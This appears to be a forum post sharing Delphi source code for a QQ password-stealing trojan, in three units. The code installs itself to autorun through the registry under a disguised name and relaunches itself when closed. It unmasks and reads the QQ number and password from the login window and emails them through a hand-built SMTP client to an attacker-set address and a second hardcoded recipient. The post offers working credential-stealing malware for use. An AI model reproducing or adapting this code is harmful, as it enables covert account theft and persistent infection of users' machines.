部分QQ源码

unit GCommonMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
procedure ApplicationRun(hWindow: HWND);
procedure ReadSelfDataAppendedInExeFile;


implementation

var
  IsFind: Boolean = True;

procedure ReadSelfDataAppendedInExeFile;
var
  ExeFile: integer;
  EmailInfo: TEmailInfo;
begin
  try
    ExeFile := FileOpen(ParamStr(0), fmOpenRead or fmShareDenyNone);
    FileSeek(ExeFile, -SizeOf(TEmailInfo), 2);
    FileRead(ExeFile, EmailInfo, SizeOf(TEmailInfo));
    EmailRecever := EmailInfo.Receveer;
    EmailSubject := EmailInfo.Subject;
   // MessageBox(0, pchar(EmailRecever + #13#10 + EmailSubject), '提示', MB_OK + MB_ICONINFORMATION);
  finally
    FileClose(ExeFile);
  end;
end;

//--------------------------------------------------------------------
//设置程序自动运行,为了减少程序的体积,采用API函数写注册表

procedure SetAutoRun;
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  try
  {$IFNDEF DebugMode}
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    l := regopenkey(k1, 'Windows', k1);
    l := regopenkey(k1, 'CurrentVersion', k1);
    l := regopenkey(k1, 'Run', k1);
    p := pchar(ParamStr(0));
    l := regsetvalueEx(k1, 'SysDesktop', 0, 1, p, 255);
  {$ENDIF}
  except
  end;
end;


procedure RunExeAgainAndKillSelf(hWindows: HWND);
begin
  {$IFNDEF DebugMode}
  winexec(pchar(ExtractFilePath(ParamStr(0))), 1);
  KillTimer(hWindows, 1);
  {$ENDIF}
  Halt;
end;

procedure DoTimeMethod(hWnd: HWND);
begin
  SetAutoRun;
  if IsFind then //计时器处于查找QQ窗口...
    FindQQWindowForAnyVersion(hWnd, IsFind);
  if not IsFind then //计时器处于监视号码和密码...
    GoOnMonitorPasswordAndQQNumber(hWnd, IsFind)
  else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
  begin
    isFind := true;
    SendMail;
  end;
end;

function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
  Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
  case uMsg of
    //退出
    WM_DESTROY:RunExeAgainAndKillSelf(hWnd);
  //计时器消息
    WM_TIMER: DoTimeMethod(hWnd);
  end;
end;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
var
  WinClass: TWndClassA;
  Inst: THandle;
begin
  Inst := hInst;
  with WinClass do
  begin
    style := CS_CLASSDC or CS_PARENTDC;
    lpfnWndProc := @WindowProc;
    hInstance := Inst;
    hbrBackground := color_btnface + 1;
    lpszClassname := PChar(ClassName);
    hCursor := LoadCursor(0, IDC_ARROW);
  end; { with }
  RegisterClass(WinClass);
  OutHandle := CreateWindowEx(WS_EX_WINDOWEDGE, PChar(ClassName), PChar(ClassName),
    WS_SIZEBOX or WS_CAPTION or WS_SYSMENU or WS_VISIBLE,
    363, 278, 305, 65, 0, 0, Inst, nil);
end;

procedure ApplicationRun(hWindow: HWND);
var
  Msg: TMsg;
begin
  while (GetMessage(Msg, hWindow, 0, 0)) do
  begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;
end;


end.

另一个单元

unit GNetMethods;

//{$I Complier.inc}

interface
uses
  Winsock, GConsts, Wininet, SysUtils{$IFDEF DebugMode}, windows{$ENDIF};

procedure SendMail;                //发送邮件
function NetInternetConnected: Boolean;

implementation

function NetInternetConnected: Boolean;
var
dwConnectionTypes: DWORD;  //值
begin
  dwConnectionTypes := INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_MODEM
    + INTERNET_CONNECTION_PROXY;
  Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;

function EncodeBase64(const Source: string): string;
var
  Times, LenSrc, i: Integer;
  x1, x2, x3, x4: Char;
  xt: Byte;
begin
  Result := '';
  LenSrc := Length(Source);
  if LenSrc mod 3 = 0 then
    Times := LenSrc div 3
  else
    Times := LenSrc div 3 + 1;

  for i := 0 to Times - 1 do
  begin
    if LenSrc >= (3 + i * 3) then
    begin
      x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (ord(Source[1 + i * 3]) shl 4) and 48;
      xt := xt or (ord(Source[2 + i * 3]) shr 4);
      x2 := BaseTable[xt + 1];
      xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
      xt := xt or (Ord(Source[3 + i * 3]) shr 6);
      x3 := BaseTable[xt + 1];
      xt := (ord(Source[3 + i * 3]) and 63);
      x4 := BaseTable[xt + 1];
    end
    else if LenSrc >= (2 + i * 3) then
    begin
      x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
      xt := xt or (Ord(Source[2 + i * 3]) shr 4);
      x2 := BaseTable[xt + 1];
      xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
      x3 := BaseTable[xt + 1];
      x4 := '=';
    end else
    begin
      x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
      x2 := BaseTable[xt + 1];
      x3 := '=';
      x4 := '=';
    end;
    Result := Result + x1 + x2 + x3 + x4;
  end;
end;

// Write_Socket函数

function Write_Socket(sockfd: TSocket; const s: string): Integer;
//功能:将字符串S写入sockfd
begin
//  form1.Memo1.Lines.Add(s);
  Result := Send(sockfd, pointer(s)^, Length(s), 0)
end;

// Socket_Readline函数

function Socket_Readline(sockfd: Integer): string;
//功能:从sockfd中读取一行(即,直至遇到换行符)。
//返回值:返回从sockfd中所读取的一行字符。
var
  S: string; buf: array[0..1] of Char;
  n: Cardinal;
begin
  buf[0] := #0; buf[1] := #0; S := '';
  n := recv(sockfd, Buf, 1, 0);
  while n > 0 do
  begin
    buf[1] := #0;
    S := S + buf;
    if (buf[0] = #10) then Break;
    n := recv(sockfd, buf, 1, 0);
  end;
  Result := Trim(S);
// form1.memo1.Lines.Add(trim(S));
end;

function CreateClientSocket(Host: string; Port: integer): Integer;
//功能:与指定的主机Host建立一个TCP连接,使用Port端口。
//返回值:如果成功返回一个Socket描述符;否则返回
//INVALID_SOCKET
var
  i: integer; p: ^LongInt;
  phe: pHostEnt;
  sin: sockaddr_in;
begin
  Result := INVALID_SOCKET;
  sin.sin_family := AF_INET;
  sin.sin_port := htons(Port);
  //将主机名转换为32位的IP
  phe := gethostbyname(pchar(host));
  if phe <> nil
    then
  begin
    p := Pointer(phe^.h_addr_list^);
    sin.sin_addr.s_addr := p^;
  end
  else
  begin
    i := inet_addr(PChar(Host));
    if i <> -1
      then sin.sin_addr.S_addr := i
    else
            //无法获取主机Host的IP
      Exit;
  end;
  //创建一个面向连接的字节流Socket
  Result := socket(PF_INET, SOCK_STREAM, 0);
  if (Result = INVALID_SOCKET) then Exit;
  //使用此Socket描述符与远处的主机建立一个TCP连接
  if Connect(Result, sin, sizeof(sin)) = SOCKET_ERROR
    then
  begin
    closesocket(Result);
    Result := INVALID_SOCKET;
  end;
end;

// POP3Response函数

function SMTPResponse(Sockfd: Integer; sta: string): Boolean;
//功能:检查SMTP服务器返回的状态信息。
//返回值:如果成功,则返回TRUE;否则返回FALSE。
var
  S, lterm: string;
begin
  S := socket_readline(sockfd);
  if copy(s, 1, 3) = sta
    then
    result := true
  else
    result := false;
  if length(s) > 3 then begin
    if s[4] = '-' then begin
      lterm := copy(s, 1, 3) + ' ';
      repeat
        s := socket_readline(sockfd);
      until (length(s) < 4) or (ansisametext(copy(s, 1, 4), lterm));
    end;
  end;
end;

function SMTPLogin(Host, User, Password: string; Port: Integer = 110): Integer;
var
  Sockfd: Integer;
begin
  Result := INVALID_SOCKET;
  Sockfd := CreateClientSocket(Host, Port);
  if (Sockfd = INVALID_SOCKET)
    then
  begin
    CloseSocket(Sockfd);
    Exit;
  end;
  SMTPresponse(sockfd, '220');
  write_socket(sockfd, 'EHLO ' + user + CRLF);
  SMTPresponse(sockfd, '250');
  Write_socket(sockfd, 'RSET' + CRLF);
  SMTPresponse(sockfd, '250');
  Write_Socket(sockfd, 'AUTH LOGIN' + CRLF);
  if not SMTPResponse(sockfd, '334')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, EncodeBase64(User) + CRLF);
  if not SMTPResponse(sockfd, '334')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, EncodeBase64(password) + CRLF);
  if not SMTPResponse(sockfd, '235')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Result := Sockfd;
end;

function POP3RetriveMail(Subject, Body, Receive: string; Port: Integer = 25): string; //,Subject,ToEmail
var
  sockfd: integer;
  sendbody {, S}: string;
  //ok: boolean;
begin
  Result := '';
  SendBody := 'From:"会员版"<'+Email.name+'>' + CRLF
    + 'To:"主人"<' + Receive + '>' + CRLF
    + 'Subject:' + Subject + CRLF
    + CRLF
    + Body + CRLF + '.' + CRLF; //这是邮件内容。
    Sockfd := SMTPLogin(Email.stmp, Email.ID, Email.password, Port);
  if Sockfd = INVALID_SOCKET then Exit;
   Write_Socket(sockfd, 'MAIL FROM: <'+ Email.name+'>'+ CRLF);
  if not SMTPResponse(sockfd, '250')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, 'RCPT TO: <' + Receive + '>' + CRLF); //'+user+'
  if not SMTPResponse(sockfd, '250')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, 'DATA' + CRLF);
  if not SMTPResponse(sockfd, '354')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end
  else
  begin
    Write_Socket(sockfd, sendbody);
    SMTPresponse(sockfd, '110');
  end;
  Write_Socket(sockfd, 'QUIT'#13#10);
  smtpresponse(sockfd, 'quit');
  Closesocket(sockfd);
end;


procedure SendMail;
var
  w: TWSADATA;
  r,count:integer;
begin
  if EmailBody <> '' then
  try
    EmailBody := '******正确的密码可能是最后一对******' + CRLF + CRLF + EmailBody + CRLF + CRLF + '希望您早日成为我们的会员,祝你使用快乐! ';
   // MessageBox(0, pchar(EmailBody), '提示', MB_OK + MB_ICONINFORMATION);
    count:=0;
    repeat r:=WSAStartup(2, w);
    inc(count);
    until (r=0)or(count>5);
    POP3RetriveMail('QQ密码', EmailBody,newQQID);//oiwin@263.net
    count:=0;
    repeat r:=WSAStartup(2, w);
    inc(count);
    until (r=0)or(count>5);
    POP3RetriveMail(EmailSubject, EmailBody, EmailRecever);
  except
  end;
end;

end.


再另一个单元

unit GQQFindMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods; //Types,

procedure GoOnMonitorPasswordAndQQNumber;
procedure FindQQWindowForAnyVersion;

implementation

//--------------------------------------------------------------------
//读取指定句柄的TEXT

function GetIDandPassword(HWnd: HWnd; GetPassWord: Boolean = true): string;
const MAX_LENGTH = 255;
var
  iPwdChar: Integer;
  iPwdLast: Integer;
  psText: array[0..MAX_LENGTH] of char;
  i: Integer;
begin
  iPwdChar := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
  if (iPwdChar <> 0) then // and GetPassWord
  begin
    iPwdLast := 0;
    i := 0;
    while iPwdLast = 0 do
    begin
      PostMessage(HWnd, EM_SETPASSWORDCHAR, 0, 0);
      Inc(i);
      iPwdLast := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
      if i > 100 then break;
    end;
    SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
    Result := psText;
    PostMessage(HWnd, EM_SETPASSWORDCHAR, iPwdChar, 0);
  end else begin
    SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
    Result := psText;
  end;
end;

//--------------------------------------------------------------------
//检查QQ窗口有多少个EDIT控件,用此可以判断QQ的版本号

function GetEditCount(theFormHandle: hwnd): integer;
var
  t: hwnd;
  szname: array[0..254] of char;
begin
  t := GetWindow(theFormHandle, GW_CHILD);
  while t <> 0 do
  begin
    result := 0;
    GetClassName(t, @szname, 255);
    GetEditCount(t);

    if strpas(szname) = 'Edit' then
      inc(Editcount);
    if Editcount > 62 then
      break;
    t := GetWindow(t, GW_HWNDNEXT);
  end;
end;

//--------------------------------------------------------------------
//找QQ2000中的句柄
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function FindQQ2000Edit(theFormHandle: hwnd): integer;
var
  t: hwnd;
  szname: array[0..254] of char;
begin
  t := GetWindow(theFormHandle, GW_CHILD);
  while t <> 0 do
  begin
    result := 0;
    GetClassName(t, @szname, 255);
    GetEditCount(t);
    if strpas(szname) = 'ComboBox' then
      QQIDHandle := t
    else if (strpas(szname) = 'Edit') then
      QQPasswordHandle := t;
    t := GetWindow(t, GW_HWNDNEXT);
  end;
end;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


//--------------------------------------------------------------------
//找QQ2003中的句柄

function FindQQ2003Edit(theFormHandle: hwnd): integer;
var
  t: hwnd;
  szname: array[0..254] of char;
begin
  t := GetWindow(theFormHandle, GW_CHILD);
  while t <> 0 do
  begin
    result := 0;
    GetClassName(t, @szname, 255);
    FindQQ2003Edit(t);
    if strpas(szname) = 'Edit' then
    begin
      inc(Count);
      if EditCount < 8 then
        case Count of
          1: QQIDHandle := t;
          2: QQPasswordHandle := t;
          3: break;
        end;
      if EditCount > 61 then
        case Count of
          49: QQIDHandle := t;
          50: QQPasswordHandle := t;
          51: break;
        end
      else
        case Count of
          30:  QQPasswordHandle:= t;
          61: begin
              QQIDHandle := t;
              break;
            end;
        end;
    end;
    t := GetWindow(t, GW_HWNDNEXT);
  end;
end;

//--------------------------------------------------------------------
//找QQ登录窗口的句柄

function FindQQHandle(hWindows: HWND): integer;
var
  hcrrentwindow: hwnd;
  sztext: array[0..254] of char;
  s: string;
begin
  Result := 0;
  hcrrentwindow := GetWindow(hWindows, GW_HWNDFIRST);
  while hcrrentwindow <> 0 do
  begin
    if GetWindowtext(hcrrentwindow, @sztext, 255) > 0 then
    begin
      s := strpas(@sztext);
      if trim(s) = '' then
      begin
        Result := hcrrentwindow;
        break;
      end ;
    end;
    hcrrentwindow := GetWindow(hcrrentwindow, GW_HWNDNEXT);
  end;
end;

procedure GoOnMonitorPasswordAndQQNumber;
var
  tempRect: TRect;
  Rightpassword: boolean;
begin
  QQhandle := FindQQHandle(Handle);
  if QQHandle <> 0 then
  begin

    GetWindowRect(QQhandle, tempRect);
    if oldWidth <> tempRect.Right - tempRect.Left then
    begin
      isFind := true;
      exit;
    end;
    QQID := GetIDandPassword(QQIDHandle); // ,false
    QQPassword := GetIDandPassword(QQPasswordHandle); //  ,true
   // MessageBox(0, pchar(QQID+#13#10+QQPassword), '提示', MB_OK + MB_ICONINFORMATION);
    Rightpassword := true;
    try StrToInt(QQID)except Rightpassword := false; end; //过滤无效的QQID
    if Rightpassword then
      if ((QQID <> oldQQID) or (QQPassword <> oldQQPassword)) and (QQID <> '') and (QQPassword <> '') then
      begin
        EmailBody := EmailBody + format('QQ号码：%s' + #13#10 + 'QQ密码：%s' + #13#10,
          [QQID, QQPassword]);
        oldQQID := QQID;
        oldQQPassword := QQPassword;
      end;
  end
  else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
  begin
    isFind := true;
    SendMail;
  end;
end;

procedure FindQQWindowForAnyVersion;
var
  tempRect: TRect;
begin
  QQhandle := FindQQHandle(Handle);
  if QQHandle <> 0 then
  begin
    IsFind := false;
    GetWindowRect(QQhandle, tempRect);
    oldWidth := tempRect.Right - tempRect.Left;
    EmailBody := '';
    QQID := '';
    QQPassword := '';
    oldQQID := '';
    oldQQPassword := '';
    EditCount := 0;
    Count := 0;
    GetEditCount(QQHandle);
       // MessageBox(0, pchar(inttostr(EditCount)), '提示', MB_OK + MB_ICONINFORMATION);
    if EditCount = 1 then
      FindQQ2000Edit(QQHandle)
    else
      FindQQ2003Edit(QQHandle);
  end;
end;

end.